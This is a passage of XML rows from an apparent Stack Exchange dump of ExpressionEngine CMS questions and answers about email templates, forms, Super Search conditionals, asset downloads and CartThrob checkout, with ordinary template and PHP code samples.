  <row Id="21319" PostTypeId="2" ParentId="21315" CreationDate="2014-04-21T18:15:30.213" Score="1" Body="&lt;p&gt;The default support for both HTML and plain text emails is a little limiting right now. In Postmaster v2, I am going to redo the UI and make it possible to have two different templates for HTML and plain text. There is no ETA on this, but this by far the most requested and desired feature. The underlying API is already setup (for the most part) to handle this, but the way it currently works is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a new parcel with an HTML template, it will strip the tags and attempt to format the email as best as it can for the plain text version. If plain text is used by default, then no html version will be sent. The preview pane however is always setup display HTML formatted emails. This is an oversight and an inherent flaw in Postmaster v1.x. In version 2, I will like be removing the preview pane all together in favor of saving templates as files and previewing them like a regular template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email should send properly with the line breaks though. It's the preview pain that won't respect them.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-04-21T18:15:30.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21320" PostTypeId="1" AcceptedAnswerId="21368" CreationDate="2014-04-21T18:41:56.607" Score="0" ViewCount="511" Body="&lt;p&gt;Just like on a custom text field you can limit characters, I'd like to be able to limit characters in a Title field for a few channels. It's easy to do this in templates, but I don't want to end up truncating titles; I'd like the user to see their limit and work with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-23T08:04:27.750" Title="Limit characters in Title field?" Tags="|title|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21321" PostTypeId="2" ParentId="7272" CreationDate="2014-04-21T19:15:56.440" Score="0" Body="&lt;p&gt;According to WYGWAM's &lt;a href=&quot;https://docs.pixelandtonic.com/wygwam/changelog.html&quot; rel=&quot;nofollow&quot;&gt;Changelog&lt;/a&gt;, this was implemented in 2.6:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Leading/trailing whitespace and empty tags are now stripped out from the content when saving&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the nbsp method, but also when editing in Source view, if you save -without- toggling Source, it won't strip your tags. When WYGWAM compiles the source it removes the tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something that's bugging me, too, so I hope somebody comes up with a setting to undo this &quot;feature&quot;. &lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-21T19:15:56.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21322" PostTypeId="1" AcceptedAnswerId="21395" CreationDate="2014-04-21T20:33:22.963" Score="5" ViewCount="560" Body="&lt;p&gt;We have been users of Membrr and OpenGateway for a few years now and been generally happy with it. Today I ran into an issue and went to access the &lt;a href=&quot;http://www.membrr.com&quot;&gt;http://www.membrr.com&lt;/a&gt; site and got a notice that the domain has expired. There have recently been reports that Electric Function has been unresponsive to emails and support. Concerned I started to do some Googling and found &lt;a href=&quot;http://www.brockferguson.com/blog/my_relationship_with_electric_function&quot;&gt;this blog post from Brock&lt;/a&gt; made back in March. Looks like the new owners of Electric Function might be simply dropping the company and products and walking away? As a customer I was not warned or notified at all and I find this very disturbing to say the least. Is anyone else who is using Membrr concerned? What path(s) are you planning on taking moving forward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone who was a Membrr user and migrated to something else what do you recommend and do you have any advice to make transitioning easier?&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="55" LastEditDate="2014-04-22T11:50:46.180" LastActivityDate="2014-04-23T17:19:32.617" Title="Alternatives to Membrr add-on?" Tags="|add-on|payment-gateway|subscriptions|membrr|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21323" PostTypeId="2" ParentId="19775" CreationDate="2014-04-21T20:49:14.810" Score="0" Body="&lt;p&gt;CG11 posted a better solution on my forum thread, so I'm adding it here This one does not requiring hacking the fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a 2-step solution. You still have to change the construct function as Derek suggested. The other part is to change the javascript in the themes folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/gwincr11/11149519&quot; rel=&quot;nofollow&quot;&gt;Here is a link to the updated script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps everyone!&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-04-21T20:49:14.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21324" PostTypeId="1" CreationDate="2014-04-21T21:03:56.220" Score="2" ViewCount="83" Body="&lt;p&gt;new to EE (version 2.6.1) although I have used a handful of CMS's like WP, Joomla and Teamsite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was tasked today with something I could use help with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a submission form, that will store the form fields in a dbase, and display these records on a subsequent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like EE is using MySQL 5.1.61&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example. You are a non profit company who wants to be listed in our &quot;partners&quot; page catalog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You fill in our form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Organization name&lt;/li&gt;&#xA;&lt;li&gt;Products or Services&lt;/li&gt;&#xA;&lt;li&gt;Area of Service&lt;/li&gt;&#xA;&lt;li&gt;Keywords&lt;/li&gt;&#xA;&lt;li&gt;Contact Name&lt;/li&gt;&#xA;&lt;li&gt;Contact Email&lt;/li&gt;&#xA;&lt;li&gt;Contact Phone&lt;/li&gt;&#xA;&lt;li&gt;[etc]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Saves to dbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &quot;Catalog of Partners&quot; page... I basically read the dbase table and display each partner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get into the &quot;Manage Database Tables&quot; section of admin console, but don't see how I can create my own table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also see what I think is some type of &quot;addon&quot; called &quot;ProForms&quot; which has some pretty straight forward settings, but doesn't look like there is a place to control the actual form fields I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am just hoping for a bit of guidance. Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="3001" LastActivityDate="2014-04-21T23:36:45.883" Title="New to EE - looking for some insight" Tags="|forms|database|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21325" PostTypeId="2" ParentId="21324" CreationDate="2014-04-21T21:24:48.490" Score="2" Body="&lt;p&gt;Welcome to the EE community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at an add-on called &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt;. This is a free add-on that allows you to create different forms (there's a paid version if you need additional functionality, but from what you've said the free version should be fine). There's plenty of &lt;a href=&quot;http://www.solspace.com/docs/freeform/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; to get you started as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform saves all the entries to the database, so there's no need to go creating your own tables. You can then output any of the data submitted through Freeform using the {exp:freeform:entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use EE's built in captcha (or other more accessibility friendly approach) to keep spam entries at bay, and you can set entries to have a pending status until you've validated them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different approach would be to allow people to register on the site using EE's member management features - registered users could then update their own profile through their member accounts. This would need a little more development work but make your &lt;em&gt;partners&lt;/em&gt; page a little more self-service. Your proposed approach would work fine though.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-21T21:24:48.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21326" PostTypeId="2" ParentId="21324" CreationDate="2014-04-21T21:30:44.010" Score="2" Body="&lt;p&gt;The idea behind EE is that you don't need to manage database tables. using the admin interface to create channels and custom fields will do all that for you. I suggest you start by reading an EE overview: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/intro/the_big_picture.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/intro/the_big_picture.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically, your set up requires a channel to store &quot;partners&quot;. you'd then want to create custom fields at least for all of the form fields that you are capturing. you can then use the &quot;channel form&quot; (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&lt;/a&gt;) to allow partners to sign up. by default, you'd want those entries to be &quot;closed&quot; (not published) until an admin can review/edit/approve before they appear on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with proforms but it surely looks like you can control the actual form fields by simply dragging them into the form (second screenshot at &lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&lt;/a&gt;). and it looks like a powerful tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remember, there are no pre-build templates. the power of EE lies in giving you total freedom to build your own code (which some developers might consider a hassle).&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2014-04-21T21:30:44.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21327" PostTypeId="2" ParentId="21280" CreationDate="2014-04-21T22:03:09.637" Score="0" Body="&lt;p&gt;Ok, so for this one, I might have been able to use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt; to store the videos and then dump them out, but I felt it was easier to just enable PHP on output for this template and use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $counter = 0; ?&amp;gt;&#xA;&amp;lt;ul class=&quot;portfolio recent-work clearfix&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;ul class=&quot;row-fluid&quot;&amp;gt;&#xA;            {exp:channel:entries &#xA;                disable=&quot;category_fields|member_data|pagination&quot; &#xA;                category=&quot;1&quot; &#xA;                channel=&quot;program_module&quot; &#xA;                status=&quot;open&quot; &#xA;                show_future_entries=&quot;no&quot; &#xA;                show_expired=&quot;no&quot; &#xA;            }&#xA;                {video_groups_to_include}&#xA;                    {exp:channel_videos:videos &#xA;                        status=&quot;open&quot; &#xA;                        entry_id=&quot;{video_groups_to_include:entry_id}&quot; &#xA;                    }&#xA;                        &amp;lt;?php $counter++; ?&amp;gt;&#xA;                        &amp;lt;li data-id='id-{video:id}' class='span3 {video_groups_to_include:categories}{category_name}{/video_groups_to_include:categories}' style=&quot;margin-right: 0;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;                                &amp;lt;em class=&quot;overflow-hidden&quot;&amp;gt;&amp;lt;img src=&quot;{video:img_url_hd}&quot; alt=&quot;{video:title}&quot; style=&quot;width: 100%;&quot; /&amp;gt;&amp;lt;/em&amp;gt;&#xA;                                &amp;lt;span&amp;gt;&#xA;                                    &amp;lt;strong&amp;gt;{video:title}&amp;lt;/strong&amp;gt;&#xA;                                    &amp;lt;i&amp;gt;{video:description}&amp;lt;/i&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php if (($counter % 4) == 0) { echo &quot;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;ul class='row-fluid'&amp;gt;&quot;; } else { echo &quot;&amp;lt;/li&amp;gt;&quot;; } ?&amp;gt;&#xA;                    {/exp:channel_videos:videos}&#xA;                {/video_groups_to_include}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps someone down the road...&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-04-21T22:03:09.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21328" PostTypeId="1" CreationDate="2014-04-21T22:10:22.517" Score="3" ViewCount="82" Body="&lt;p&gt;I'm creating discounts in Expresso Store that use the &quot;match entries field&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to show the offer details on the single product view. Most likely from within a product tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to be able to advertise the discount &amp;amp; offer. Such as buy 5 of these products, get 10% off. &lt;/p&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2014-04-22T09:25:17.013" Title="Show discount related to product" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21329" PostTypeId="1" AcceptedAnswerId="21371" CreationDate="2014-04-21T22:20:22.527" Score="1" ViewCount="145" Body="&lt;p&gt;Is it possible to edit the EE Control Panel login window? A client would like to customize it with their company logo? &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-04-23T08:23:34.297" Title="How do I customize the Control Panel login window?" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21330" PostTypeId="1" AcceptedAnswerId="21396" CreationDate="2014-04-21T22:22:55.603" Score="0" ViewCount="184" Body="&lt;p&gt;My category group looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;car seats&lt;/li&gt;&#xA;&lt;li&gt;strollers&#xA;&lt;ul&gt;&#xA;&lt;li&gt;travel systems&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;gear&#xA;&lt;ul&gt;&#xA;&lt;li&gt;walkers&lt;/li&gt;&#xA;&lt;li&gt;swings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;nursery&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I'm on the URL &lt;code&gt;/products/category/gear&lt;/code&gt;, I want to display:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gear (here)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;walkers&lt;/li&gt;&#xA;&lt;li&gt;swings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I'm on the URL &lt;code&gt;/products/category/walkers&lt;/code&gt;, I &lt;em&gt;still&lt;/em&gt; want to display:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gear&#xA;&lt;ul&gt;&#xA;&lt;li&gt;walkers (here)&lt;/li&gt;&#xA;&lt;li&gt;swings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't want to display the entire category group, just the current category's parent and/or children and/or siblings.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-04-22T15:28:33.687" LastActivityDate="2014-04-23T17:36:57.057" Title="Show Parent &amp; Sibling Categories" Tags="|categories|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21331" PostTypeId="1" AcceptedAnswerId="21764" CreationDate="2014-04-21T22:54:25.000" Score="2" ViewCount="162" Body="&lt;p&gt;I have a very complex situation in which I need to pull out one entry from a Super Search results loop and re-inject it in a different location on the page. I'm planning on using NSM Transplant for that part and some early tests indicate it will work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is writing a conditional inside the Super Search loop that will identify the correct entry to pull out via Transplant. I want to only transplant the entry if the category or categories searched include the Primary Category of that entry - which in my case is a location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in plain english this is the conditional I want:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If {this_entry's_primary_category} is contained in {super_search_category} then do something with Transplant, otherwise, leave it alone&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using CE String so my first thought was to check if the {super_search_category} string contained the primary category URL title with &lt;strong&gt;strpos&lt;/strong&gt;, something like this (this is inside &lt;code&gt;exp:super_search:results&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:ce_str:ing strpos='{exp:primary_category entry_id='{entry_id}'}{primary_category_url_title}{/exp:primary_category}'}{super_search_category}{/exp:ce_str:ing}&quot; != &quot;-1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This always returns false - even on the entry where the primary category should be found within super search category. I think it's because &lt;code&gt;{super_search_category}&lt;/code&gt; only works outside the &lt;code&gt;exp:super_search:results&lt;/code&gt; tag. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any suggestions for the easiest way to test to see if an entry's Primary Category is included in category or categories searched on a Super Search results page?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;/strong&gt; Edit to add some recent code examples &lt;strong&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a Super Search results page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;ss-cats&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}{super_search_category}{/exp:stash:set}&#xA;&#xA;{exp:super_search:results &#xA;    redirect_post=&quot;yes&quot; &#xA;    channel=&quot;directory&quot;&#xA;    status=&quot;Open|Featured&quot; &#xA;    performance=&quot;off&quot; &#xA;    category_indicator=&quot;category_url_title&quot;  &#xA;    search-words-within-words=&quot;yes&quot;&#xA;    inclusive_categories=&quot;yes&quot;&#xA;    orderby=&quot;vendor-group+desc+vip+desc+rating_field-rating+desc+title+asc&quot;&#xA;    search_in=&quot;title|vendor-person|about|extended|address|awards&quot;  &#xA;    inclusive_keywords=&quot;no&quot;  &#xA;    where=&quot;all&quot;  &#xA;    limit=&quot;50&quot;  &#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;{exp:stash:get name=&quot;ss-cats&quot;}&#xA;&amp;lt;!-- lots of stuff here removed for simplicity --&amp;gt;&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;At the moment, I'm not even getting this simple stash set/get to work so I can read the value of {super_search_category} inside the results loop.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit for progress below:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{super_search_category}&lt;/code&gt; returns category URL titles if used outside results loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used INSIDE results loop it does nothing (tag is not parsed at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use Stash to save the tag output from outside the results loop it works to some extent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;ss-cats&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;1&quot;}{super_search_category}{/exp:stash:set}&#xA;Stash get SS cats outside results: {exp:stash:get name=&quot;ss-cats&quot;}&#xA;&#xA;{exp:super_search:results&#xA;    redirect_post=&quot;yes&quot;&#xA;    channel=&quot;directory&quot;&#xA;    status=&quot;Open|Featured&quot;&#xA;    performance=&quot;off&quot;&#xA;    category_indicator=&quot;category_url_title&quot; &#xA;    search-words-within-words=&quot;yes&quot;&#xA;    inclusive_categories=&quot;yes&quot;&#xA;    orderby=&quot;vendor-group+desc+vip+desc+rating_field-rating+desc+title+asc&quot;&#xA;    search_in=&quot;title|vendor-person|about|extended|address|awards&quot; &#xA;    inclusive_keywords=&quot;no&quot; &#xA;    where=&quot;all&quot; &#xA;    limit=&quot;50&quot; &#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;Stash get SS cats inside results: {exp:stash:get name=&quot;ss-cats&quot;}&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In this case the stash:get &lt;strong&gt;outside&lt;/strong&gt; results works fine, but the stash:get &lt;strong&gt;inside&lt;/strong&gt; results returns something different (a completely different category name - which isn't even the Super Search category!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I fail to see how I can read {super_search_category} from within the results in order to use it in a conditional.&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-05-06T02:38:03.487" LastActivityDate="2014-05-07T22:20:45.420" Title="Super Search and Primary Category - conditonal if searched categories includes entry's primary category" Tags="|solspace|stash|supersearch|primary-category|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21332" PostTypeId="2" ParentId="21324" CreationDate="2014-04-21T23:36:45.883" Score="0" Body="&lt;p&gt;One thing I might suggest is looking at the possibility of upgrading EE to 2.8.1.  Depending on what add-ons the site currently relies upon however may make this more hassle than its worth.  You may want to make a list of the add-ons that are currently installed and do a basic check for compatibility issues before proceeding.  If you do decide to upgrade, test it out on a development server and &lt;strong&gt;be sure to make a full backup of the database and all site files in case things go awry.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the current EE documentation for frontend input into database relies on the {exp:channel:form} tag, which used to be a 3rd-party add-on called Safecracker but which was incorporated into the core system at around version 2.7 of Expression Engine.  As others have already stated, EE basically uses what are called &quot;Channel Entries&quot; to manage all content, and does so within already-defined database tables.  The type of thing you are proposing is easily handled via template tags and channels using {exp:channel:form} for input and the {exp:channel:entries} tag for display, and does not require any database manipulation.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-21T23:36:45.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21333" PostTypeId="1" AcceptedAnswerId="21335" CreationDate="2014-04-21T23:45:23.483" Score="1" ViewCount="61" Body="&lt;p&gt;Normally I can put the pieces together by looking at upload dates, git history, and the &lt;code&gt;$config['app_version']&lt;/code&gt; within /system/expressionengine/config/config.php. More often than not I cannot tell what previous version it was upgraded from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has to be logged somewhere in EE right? With dates?&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2014-04-22T00:25:52.117" Title="Is there a way to see the EE upgrade history?" Tags="|ee2|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21335" PostTypeId="2" ParentId="21333" CreationDate="2014-04-22T00:25:52.117" Score="1" Body="&lt;p&gt;I believe what you need is in the exp_update_log database table.  Date is the timestamp in UNIX format.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-22T00:25:52.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21336" PostTypeId="2" ParentId="21311" CreationDate="2014-04-22T03:22:39.187" Score="0" Body="&lt;p&gt;OK, I've decided to bite the bullet and update my code in various places to trigger notification that the entry has been updated.  For anyone who's interested and who is similarly facing this sort of issue, I'm using the following code in my plugin to accomplish this.  My db query is selecting all because I have several different channels with dozens of unique fields each to account for, so this is saving me a lot of time in coding out each entry and in potentially missing some.  However, I do worry about if this will cause performance issues down the line.  I'm pretty new to programming in general, so of course if anyone sees a better way of doing this or thinks that my code is awful in some way please do let me know!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * First pull the old entry info.  I'm selecting all here because less code&#xA; * and less chance of me missing a field and having it get wiped.&#xA; */ &#xA;&#xA;$edit_results = ee()-&amp;gt;db-&amp;gt;select()&#xA;    -&amp;gt;from ('channel_data c')&#xA;    -&amp;gt;join ('channel_titles t', 'c.entry_id = t.entry_id')&#xA;    -&amp;gt;where (array(&#xA;        't.entry_id' =&amp;gt; $entry_id,&#xA;        ))&#xA;    -&amp;gt;get();&#xA;&#xA;/**&#xA; *  I am unsetting the edit_date field so that the correct edit time gets posted.&#xA; *  This particular update is for just updating the status of an entry.&#xA; *  Any other fields to update can also be included below.&#xA; */&#xA;&#xA;if ($edit_results-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($edit_results-&amp;gt;result_array() as $row)&#xA;    {&#xA;        $channel_id = $row['channel_id'];&#xA;        $edit_array = $row;&#xA;        $edit_array['status'] = $status;&#xA;        unset($edit_array['edit_date']);&#xA;    }&#xA;}&#xA;&#xA;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($edit_array, $channel_id, $entry_id, FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-22T03:22:39.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21338" PostTypeId="1" CreationDate="2014-04-22T04:26:07.250" Score="0" ViewCount="429" Body="&lt;p&gt;I could really use some help here. Might have promised something that cannot be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a simple doc repository for a client. The idea is for each of their &quot;jobs&quot;, they create a unique asset folder. They upload a bunch of assets to it and then create a &quot;review&quot; entry that shows particular assets to be reviewed by their client. Sometimes these are html emails, or banner images, or even videos they create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, each asset needs a &quot;view&quot; link {url} and then a &quot;download link&quot;. The download is always a zip file which might contain more files than just the {url} file. My current code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{asset_files}&#xA;&amp;lt;h2 class=&quot;tableHeads&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;tablecity&quot;&amp;gt;&#xA;{if desc}{desc}&amp;lt;br /&amp;gt;{/if}&#xA;&amp;lt;a href=&quot;{url}&quot; target=&quot;_blank&quot;&amp;gt;view&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;{url}&quot;&amp;gt;download&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/asset_files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would you go about making the download link point to the zip asset without actually making a new entire asset entry out of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss here and could really use some ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi again,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the links to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{url}&quot; target=&quot;_blank&quot;&amp;gt;view&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;{url}.zip&quot;&amp;gt;download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this requires the zip file be named exactly the same as the asset and also, I am not including the zip files in the entry itself. It works but is really funky and not really an ideal solution.&lt;/p&gt;&#xA;" OwnerUserId="2991" LastEditorUserId="55" LastEditDate="2014-04-22T11:47:34.787" LastActivityDate="2014-04-22T11:47:34.787" Title="How to download Assets files as ZIP" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21339" PostTypeId="1" CreationDate="2014-04-22T06:27:00.527" Score="0" ViewCount="330" Body="&lt;p&gt;Hoping to get a bit of Cartthrob insight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it's possible to have a CT form which has different fields for Member information - for new member creation - and Billing information which is used for credit card processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if the new member's information being created during checkout is different from say the business credit card and billing information etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same form inputs in my case just different functions (and therefore probably different input names)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Profile:edit. The P:E fields are mapped to CT (CT Member Settings) in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use inputs like the following where &lt;code&gt;profile_website&lt;/code&gt; in custom_data array is a custom text field in the P:E profile channel that gets passed the value to the profile channel during checkout. This example would pass the website to the newly created member profile:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;custom_data[profile_website]&quot; value=&quot;&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas I've thought about though, not totally sure what their outcomes would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off CT Member drop down field mapping and use custom_data[] array on the Member Info section of the form to fill the profile channel entry for each profile field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use custom_data[] array on the Member Info section of the form and hope it overwrites the CT member drop down P:E field mapping after it hits in-turn changing all the details of the new member to that from the member inputs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use shipping address somehow for the member creation 